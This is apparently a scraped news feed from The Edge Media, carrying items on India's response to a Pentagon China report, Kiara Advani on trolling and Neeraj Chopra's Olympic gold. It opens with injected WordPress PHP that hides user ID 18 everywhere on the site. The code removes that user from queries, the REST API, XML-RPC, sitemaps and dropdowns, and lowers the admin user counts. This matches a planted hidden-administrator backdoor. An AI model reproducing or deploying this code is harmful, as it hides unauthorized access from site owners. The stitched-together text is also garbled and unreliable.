add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post India reacts to Pentagon’s China report: ‘Don’t accept illegal Chinese occupation’ appeared first on The Edge Media.
]]>
The Ministry of External Affairs official spokesperson Arindam Bagchi was responding to questions on the Pentagon Report at the weekly briefing, and said, “We have taken note of the US Department of Defence’ report to US Congress which inter-alia also makes a reference to construction activities by Chinese side along with the India-China border areas particularly in the Eastern Sector”.
The post India reacts to Pentagon’s China report: ‘Don’t accept illegal Chinese occupation’ appeared first on The Edge Media.
]]>The post Kaira Advani reacts to comments from trolls appeared first on The Edge Media.
]]>The first comment read out by Kiara was, “I don’t want to be aware about Indoo Ki Jawaani, I want to be informed about your jawaani (youth).” She replied, “I don’t want to be aware of this tweet.” She also talked about being labelled as ‘ghamandi (arrogant)’ when she does not pose for pictures. “Arre yaar, aisa nahi hai, kuch wajah toh hogi na (It is not like that, there must be a reason),” she said.
When one internet user advised her to stop working with Akshay Kumar, her co-star in films such as Good Newzz and Laxmii, she said, “We, as people who are reading comments, hume pata hona chahiye (we should know) where do we draw the line. Don’t let it get the better of you.
Kiara admitted that trolling does get to her. “I say that I ignore it but it is a form of protecting yourself. Be respectful towards others and understand ki yaar yeh bhi insaan hai, inke bhi emotions hote hai (that we are humans too and we also have emotions),” she said.
Kiara also recalled being plagued by rumours of plastic surgery back in 2018. She said that she ‘almost believed’ the comments herself.
“Main kisi event ke liye gayi thi, jo pictures bahar aaye (I went for an event and when the pictures that came out) on different social media platforms, there were a lot of comments about, ‘Oh, she has done plastic surgery.’ And the irony of it was main almost believe karne lagi ki maine kuch kiya hai apne aap ko (I almost began to believe that I did something to my face),” she said.
The post Kaira Advani reacts to comments from trolls appeared first on The Edge Media.
]]>The post Neeraj Chopra says “It feels unbelievable” after winning good medal appeared first on The Edge Media.
]]>“It feels unbelievable. It is the first time India has won a gold in athletics, so I feel very good. We have just one gold here in other sports,” the 23-year-old said after winning the historic gold.
Neeraj’s gold took India’s medal tally to 7, making Tokyo 2020 their most successful Olympics. India had won 6 medals at the London Olympics 2012.
This is our first Olympic medal for a very long time, and in athletics it is the first time we have gold, so it’s a proud moment for me and my country,” Neeraj said.
Asked if he was surprised to win gold which also featured German great Johannes Vetter, he said, “In the qualification round I threw very well so I knew I could do better in the final.”
(But) I didn’t know it would be gold but I am very happy.”
Few would have thought that Chopra would bludgeon his way to gold in such a dominant fashion at the grandest of the stage.
Just like in the qualification round, Chopra began with a bang by sending the spear to a distance of 87.03m and then improved it to 87.58m, his best of the day which none in the field could match.
His third throw was a poor 76.76m, he then fouled his next two attempts before a final effort of 84.24m.
By the time the Nordic javelin left his right hand in his second attempt, he knew that it was going the farthest among all and he raised both his arms in jubilation, confident that the job had been done.
The post Neeraj Chopra says “It feels unbelievable” after winning good medal appeared first on The Edge Media.
]]>